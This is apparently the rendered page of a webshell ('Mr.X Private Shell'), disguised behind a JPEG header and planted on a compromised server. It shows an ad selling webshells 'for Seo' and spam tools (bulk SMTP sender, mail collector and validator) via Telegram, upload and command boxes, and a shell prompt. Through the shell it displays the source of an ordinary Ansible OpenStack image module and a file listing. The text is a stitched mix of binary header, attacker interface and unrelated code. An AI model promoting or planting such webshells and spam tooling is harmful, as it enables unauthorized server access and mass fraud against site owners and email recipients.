����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
# Copyright (c) 2015 Hewlett-Packard Development Company, L.P.
# Copyright (c) 2013, Benno Joy <benno@ansible.com>
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)


# TODO(mordred): we need to support "location"(v1) and "locations"(v2)

DOCUMENTATION = '''
---
module: image
short_description: Add/Delete images from OpenStack Cloud
author: OpenStack Ansible SIG
description:
   - Add or Remove images from the OpenStack Image Repository
options:
   name:
     description:
        - The name of the image when uploading - or the name/ID of the image if deleting
     required: true
     type: str
   id:
     description:
        - The ID of the image when uploading an image
     type: str
   checksum:
     description:
        - The checksum of the image
     type: str
   disk_format:
     description:
        - The format of the disk that is getting uploaded
     default: qcow2
     choices: ['ami', 'ari', 'aki', 'vhd', 'vmdk', 'raw', 'qcow2', 'vdi', 'iso', 'vhdx', 'ploop']
     type: str
   container_format:
     description:
        - The format of the container
     default: bare
     choices: ['ami', 'aki', 'ari', 'bare', 'ovf', 'ova', 'docker']
     type: str
   project:
     description:
        - The name or ID of the project owning the image
     type: str
     aliases: ['owner']
   project_domain:
     description:
        - The domain the project owning the image belongs to
        - May be used to identify a unique project when providing a name to the project argument and multiple projects with such name exist
     type: str
   min_disk:
     description:
        - The minimum disk space (in GB) required to boot this image
     type: int
   min_ram:
     description:
        - The minimum ram (in MB) required to boot this image
     type: int
   is_public:
     description:
        - Whether the image can be accessed publicly. Note that publicizing an image requires admin role by default.
     type: bool
     default: false
   protected:
     description:
        - Prevent image from being deleted
     type: bool
     default: false
   filename:
     description:
        - The path to the file which has to be uploaded
     type: str
   ramdisk:
     description:
        - The name of an existing ramdisk image that will be associated with this image
     type: str
   kernel:
     description:
        - The name of an existing kernel image that will be associated with this image
     type: str
   properties:
     description:
        - Additional properties to be associated with this image
     default: {}
     type: dict
   state:
     description:
       - Should the resource be present or absent.
     choices: [present, absent]
     default: present
     type: str
   tags:
     description:
       - List of tags to be applied to the image
     default: []
     type: list
     elements: str
   volume:
     description:
       - ID of a volume to create an image from.
       - The volume must be in AVAILABLE state.
     type: str
requirements:
    - "python >= 3.6"
    - "openstacksdk"

extends_documentation_fragment:
- openstack.cloud.openstack
'''

EXAMPLES = '''
# Upload an image from a local file named cirros-0.3.0-x86_64-disk.img
- openstack.cloud.image:
    auth:
      auth_url: https://identity.example.com
      username: admin
      password: passme
      project_name: admin
      openstack.cloud.identity_user_domain_name: Default
      openstack.cloud.project_domain_name: Default
    name: cirros
    container_format: bare
    disk_format: qcow2
    state: present
    filename: cirros-0.3.0-x86_64-disk.img
    kernel: cirros-vmlinuz
    ramdisk: cirros-initrd
    tags:
      - custom
    properties:
      cpu_arch: x86_64
      distro: ubuntu

# Create image from volume attached to an instance
- name: create volume snapshot
  openstack.cloud.volume_snapshot:
    auth:
      "{{ auth }}"
    display_name: myvol_snapshot
    volume: myvol
    force: yes
  register: myvol_snapshot

- name: create volume from snapshot
  openstack.cloud.volume:
    auth:
      "{{ auth }}"
    size: "{{ myvol_snapshot.snapshot.size }}"
    snapshot_id: "{{ myvol_snapshot.snapshot.id }}"
    display_name: myvol_snapshot_volume
    wait: yes
  register: myvol_snapshot_volume

- name: create image from volume snapshot
  openstack.cloud.image:
    auth:
      "{{ auth }}"
    volume: "{{ myvol_snapshot_volume.volume.id }}"
    name: myvol_image
'''

from ansible_collections.openstack.cloud.plugins.module_utils.openstack import OpenStackModule


class ImageModule(OpenStackModule):

    deprecated_names = ('os_image', 'openstack.cloud.os_image')

    argument_spec = dict(
        name=dict(required=True, type='str'),
        id=dict(type='str'),
        checksum=dict(type='str'),
        disk_format=dict(default='qcow2',
                         choices=['ami', 'ari', 'aki', 'vhd', 'vmdk', 'raw', 'qcow2', 'vdi', 'iso', 'vhdx', 'ploop']),
        container_format=dict(default='bare', choices=['ami', 'aki', 'ari', 'bare', 'ovf', 'ova', 'docker']),
        project=dict(type='str', aliases=['owner']),
        project_domain=dict(type='str'),
        min_disk=dict(type='int', default=0),
        min_ram=dict(type='int', default=0),
        is_public=dict(type='bool', default=False),
        protected=dict(type='bool', default=False),
        filename=dict(type='str'),
        ramdisk=dict(type='str'),
        kernel=dict(type='str'),
        properties=dict(type='dict', default={}),
        volume=dict(type='str'),
        tags=dict(type='list', default=[], elements='str'),
        state=dict(default='present', choices=['absent', 'present']),
    )

    module_kwargs = dict(
        mutually_exclusive=[['filename', 'volume']],
    )

    def run(self):

        changed = False
        if self.params['id']:
            image = self.conn.get_image(name_or_id=self.params['id'])
        elif self.params['checksum']:
            image = self.conn.get_image(name_or_id=self.params['name'], filters={'checksum': self.params['checksum']})
        else:
            image = self.conn.get_image(name_or_id=self.params['name'])

        if self.params['state'] == 'present':
            if not image:
                kwargs = {}
                if self.params['id'] is not None:
                    kwargs['id'] = self.params['id']
                if self.params['project']:
                    project_domain = {'id': None}
                    if self.params['project_domain']:
                        project_domain = self.conn.get_domain(name_or_id=self.params['project_domain'])
                        if not project_domain or project_domain['id'] is None:
                            self.fail(msg='Project domain %s could not be found' % self.params['project_domain'])
                    project = self.conn.get_project(name_or_id=self.params['project'], domain_id=project_domain['id'])
                    if not project:
                        self.fail(msg='Project %s could not be found' % self.params['project'])
                    kwargs['owner'] = project['id']
                image = self.conn.create_image(
                    name=self.params['name'],
                    filename=self.params['filename'],
                    disk_format=self.params['disk_format'],
                    container_format=self.params['container_format'],
                    wait=self.params['wait'],
                    timeout=self.params['timeout'],
                    is_public=self.params['is_public'],
                    protected=self.params['protected'],
                    min_disk=self.params['min_disk'],
                    min_ram=self.params['min_ram'],
                    volume=self.params['volume'],
                    tags=self.params['tags'],
                    **kwargs
                )
                changed = True
                if not self.params['wait']:
                    self.exit(changed=changed, image=image, id=image.id)

            self.conn.update_image_properties(
                image=image,
                kernel=self.params['kernel'],
                ramdisk=self.params['ramdisk'],
                protected=self.params['protected'],
                **self.params['properties'])
            if self.params['tags']:
                self.conn.image.update_image(image.id, tags=self.params['tags'])
            image = self.conn.get_image(name_or_id=image.id)
            self.exit(changed=changed, image=image, id=image.id)

        elif self.params['state'] == 'absent':
            if not image:
                changed = False
            else:
                self.conn.delete_image(
                    name_or_id=self.params['name'],
                    wait=self.params['wait'],
                    timeout=self.params['timeout'])
                changed = True
            self.exit(changed=changed)


def main():
    module = ImageModule()
    module()


if __name__ == '__main__':
    main()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 0 B 0644
address_scope.py File 5.98 KB 0644
auth.py File 1.33 KB 0644
baremetal_inspect.py File 4.19 KB 0644
baremetal_node.py File 15.53 KB 0644
baremetal_node_action.py File 12.65 KB 0644
baremetal_node_info.py File 21.74 KB 0644
baremetal_port.py File 11.64 KB 0644
baremetal_port_info.py File 6.83 KB 0644
catalog_service.py File 5.12 KB 0644
coe_cluster.py File 8.7 KB 0644
coe_cluster_template.py File 12.24 KB 0644
compute_flavor.py File 7.71 KB 0644
compute_flavor_info.py File 7.79 KB 0644
compute_service_info.py File 3.56 KB 0644
config.py File 1.97 KB 0644
container.py File 5.92 KB 0644
dns_zone.py File 6.98 KB 0644
dns_zone_info.py File 5.16 KB 0644
endpoint.py File 6.34 KB 0644
federation_idp.py File 6.31 KB 0644
federation_idp_info.py File 2.21 KB 0644
federation_mapping.py File 5.18 KB 0644
federation_mapping_info.py File 2.15 KB 0644
floating_ip.py File 12.14 KB 0644
floating_ip_info.py File 6.12 KB 0644
group_assignment.py File 2.29 KB 0644
host_aggregate.py File 7.21 KB 0644
identity_domain.py File 4.71 KB 0644
identity_domain_info.py File 3.13 KB 0644
identity_group.py File 4.18 KB 0644
identity_group_info.py File 4.1 KB 0644
identity_role.py File 2.66 KB 0644
identity_role_info.py File 2.23 KB 0644
identity_user.py File 7.86 KB 0644
identity_user_info.py File 4.27 KB 0644
image.py File 8.77 KB 0644
image_info.py File 5.72 KB 0644
keypair.py File 4.44 KB 0644
keypair_info.py File 3.8 KB 0644
keystone_federation_protocol.py File 5.1 KB 0644
keystone_federation_protocol_info.py File 2.57 KB 0644
lb_health_monitor.py File 11.11 KB 0644
lb_listener.py File 8.93 KB 0644
lb_member.py File 6.71 KB 0644
lb_pool.py File 8.1 KB 0644
loadbalancer.py File 24.92 KB 0644
network.py File 8.03 KB 0644
networks_info.py File 4 KB 0644
neutron_rbac_policies_info.py File 8.27 KB 0644
neutron_rbac_policy.py File 10.53 KB 0644
object.py File 3.4 KB 0644
object_container.py File 5.92 KB 0644
os_auth.py File 1.33 KB 0644
os_client_config.py File 1.97 KB 0644
os_coe_cluster.py File 8.7 KB 0644
os_coe_cluster_template.py File 12.24 KB 0644
os_flavor_info.py File 7.79 KB 0644
os_floating_ip.py File 12.14 KB 0644
os_group.py File 4.18 KB 0644
os_group_info.py File 4.1 KB 0644
os_image.py File 8.77 KB 0644
os_image_info.py File 5.72 KB 0644
os_ironic.py File 15.53 KB 0644
os_ironic_inspect.py File 4.19 KB 0644
os_ironic_node.py File 12.65 KB 0644
os_keypair.py File 4.44 KB 0644
os_keystone_domain.py File 4.71 KB 0644
os_keystone_domain_info.py File 3.13 KB 0644
os_keystone_endpoint.py File 6.34 KB 0644
os_keystone_federation_protocol.py File 5.1 KB 0644
os_keystone_federation_protocol_info.py File 2.57 KB 0644
os_keystone_identity_provider.py File 6.31 KB 0644
os_keystone_identity_provider_info.py File 2.21 KB 0644
os_keystone_mapping.py File 5.18 KB 0644
os_keystone_mapping_info.py File 2.15 KB 0644
os_keystone_role.py File 2.66 KB 0644
os_keystone_service.py File 5.12 KB 0644
os_listener.py File 8.93 KB 0644
os_loadbalancer.py File 24.92 KB 0644
os_member.py File 6.71 KB 0644
os_network.py File 8.03 KB 0644
os_networks_info.py File 4 KB 0644
os_nova_flavor.py File 7.71 KB 0644
os_nova_host_aggregate.py File 7.21 KB 0644
os_object.py File 3.4 KB 0644
os_pool.py File 8.1 KB 0644
os_port.py File 16.46 KB 0644
os_port_info.py File 6.78 KB 0644
os_project.py File 6.33 KB 0644
os_project_access.py File 6.08 KB 0644
os_project_info.py File 4.51 KB 0644
os_quota.py File 15.99 KB 0644
os_recordset.py File 7.73 KB 0644
os_router.py File 21.82 KB 0644
os_routers_info.py File 5.55 KB 0644
os_security_group.py File 4.25 KB 0644
os_security_group_rule.py File 12.07 KB 0644
os_server.py File 26.5 KB 0644
os_server_action.py File 8.84 KB 0644
os_server_group.py File 4.12 KB 0644
os_server_info.py File 2.66 KB 0644
os_server_metadata.py File 4.84 KB 0644
os_server_volume.py File 3.67 KB 0644
os_stack.py File 7.76 KB 0644
os_subnet.py File 12.55 KB 0644
os_subnets_info.py File 4.51 KB 0644
os_user.py File 7.86 KB 0644
os_user_group.py File 2.29 KB 0644
os_user_info.py File 4.27 KB 0644
os_user_role.py File 5.65 KB 0644
os_volume.py File 7.8 KB 0644
os_volume_snapshot.py File 4.86 KB 0644
os_zone.py File 6.98 KB 0644
port.py File 16.46 KB 0644
port_info.py File 6.78 KB 0644
project.py File 6.33 KB 0644
project_access.py File 6.08 KB 0644
project_info.py File 4.51 KB 0644
quota.py File 15.99 KB 0644
recordset.py File 7.73 KB 0644
role_assignment.py File 5.65 KB 0644
router.py File 21.82 KB 0644
routers_info.py File 5.55 KB 0644
security_group.py File 4.25 KB 0644
security_group_info.py File 5.8 KB 0644
security_group_rule.py File 12.07 KB 0644
security_group_rule_info.py File 7.71 KB 0644
server.py File 26.5 KB 0644
server_action.py File 8.84 KB 0644
server_group.py File 4.12 KB 0644
server_info.py File 2.66 KB 0644
server_metadata.py File 4.84 KB 0644
server_volume.py File 3.67 KB 0644
stack.py File 7.76 KB 0644
stack_info.py File 2.44 KB 0644
subnet.py File 12.55 KB 0644
subnet_pool.py File 10.99 KB 0644
subnets_info.py File 4.51 KB 0644
volume.py File 7.8 KB 0644
volume_backup.py File 6.26 KB 0644
volume_backup_info.py File 2.9 KB 0644
volume_info.py File 3.65 KB 0644
volume_snapshot.py File 4.86 KB 0644
volume_snapshot_info.py File 3.43 KB 0644